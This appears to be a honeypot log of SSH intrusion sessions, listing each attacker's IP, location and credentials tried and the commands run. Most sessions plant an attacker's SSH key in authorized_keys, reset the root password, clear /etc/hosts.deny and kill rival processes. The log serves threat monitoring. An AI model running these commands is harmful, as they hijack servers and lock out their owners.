$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:2Vrei0qPapgu"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:1MRYuejcWgDN"|chpasswd|bash

🎭 dutch_sol (45.153.34.165) — Amsterdam, The Netherlands · 4 sessions · 4 cmds

2026-07-02 18:41 EDT · as myuser/123456, root/000000, root/p@ssw0rd

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×4

🎭 rogue_3 (47.84.203.230) — Singapore, Singapore · 1 session · 1 cmd

2026-07-05 00:55 EDT · as swissmp/Swissmp1

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 jade_root_5 (27.150.188.148) — Wenquan, China · 1 session · 19 cmds

2026-07-05 00:51 EDT · as root/password_123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:7864n8oi3Pol"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_11 (36.110.14.155) — Beijing, China · 1 session · 1 cmd

2026-07-05 00:49 EDT · as nobodyasked/Nobodyasked90

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 hanbok_root_4 (14.46.87.209) — Seongnam-si, South Korea · 1 session · 20 cmds

2026-07-05 00:43 EDT · as admin1/123456789

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456789\nXaWrTIPrBr9k\nXaWrTIPrBr9k"|passwd|bash

$ Enter new UNIX password:

$ echo "123456789\nXaWrTIPrBr9k\nXaWrTIPrBr9k\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 steppe_root_4 (88.205.172.170) — Yekaterinburg, Russia · 1 session · 19 cmds

2026-07-04 22:29 EDT · as root/asdasd5

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:7YcHRs2s0j17"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_32 (103.179.174.112) — Hòa Cường, Vietnam · 1 session · 19 cmds

2026-07-04 22:13 EDT · as root/swimmer

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:svtLjOkjTFbi"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 steppe_root_3 (83.171.89.209) — Velikiye Luki, Russia · 1 session · 19 cmds

2026-07-04 22:13 EDT · as root/asdasd5

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:J4Hrw4UvcM1S"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_2 (161.248.189.83) — Mymensingh, Bangladesh · 1 session · 20 cmds

2026-07-04 20:46 EDT · as smb_user/smb_user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "smb_user\nBhsTiCU9X5AW\nBhsTiCU9X5AW"|passwd|bash

$ Enter new UNIX password:

$ echo "smb_user\nBhsTiCU9X5AW\nBhsTiCU9X5AW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bear_root (45.8.250.115) — Moscow, Russia · 1 session · 19 cmds

2026-07-04 20:21 EDT · as root/Dt123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Gcnq4U5Jl8rj"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_root_2 (43.162.82.212) — Santa Clara, United States · 1 session · 19 cmds

2026-07-04 18:51 EDT · as root/p$wd12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:V7Dt39u8GPao"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_20 (187.212.1.182) — Puebla City, Mexico · 1 session · 19 cmds

2026-07-04 18:36 EDT · as root/p$wd12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:MfkkehrsGz4P"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_19 (103.30.40.129) — San Po Kong, Hong Kong · 1 session · 19 cmds

2026-07-04 18:27 EDT · as root/wangxu123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:CspAImYlIk9N"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_31 (45.134.9.27) — Mexico City, Mexico · 1 session · 20 cmds

2026-07-04 17:43 EDT · as test/asd123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "asd123\ndMGe2H5bWEUe\ndMGe2H5bWEUe"|passwd|bash

$ Enter new UNIX password:

$ echo "asd123\ndMGe2H5bWEUe\ndMGe2H5bWEUe\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bistro_root_3 (51.75.141.245) — Roubaix, France · 1 session · 20 cmds

2026-07-04 16:27 EDT · as steam/11223344

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "11223344\n3PKQx3c7PBA0\n3PKQx3c7PBA0"|passwd|bash

$ Enter new UNIX password:

$ echo "11223344\n3PKQx3c7PBA0\n3PKQx3c7PBA0\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_33 (185.174.69.241) — Mahmutbey, Turkey · 1 session · 19 cmds

2026-07-04 16:24 EDT · as root/google2026

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:kCrurVfmE96f"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_29 (34.78.29.97) — Brussels, Belgium · 1 session · 19 cmds

2026-07-04 15:23 EDT · as root/google2026

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:moOavo0wwDHE"|chpasswd|bash

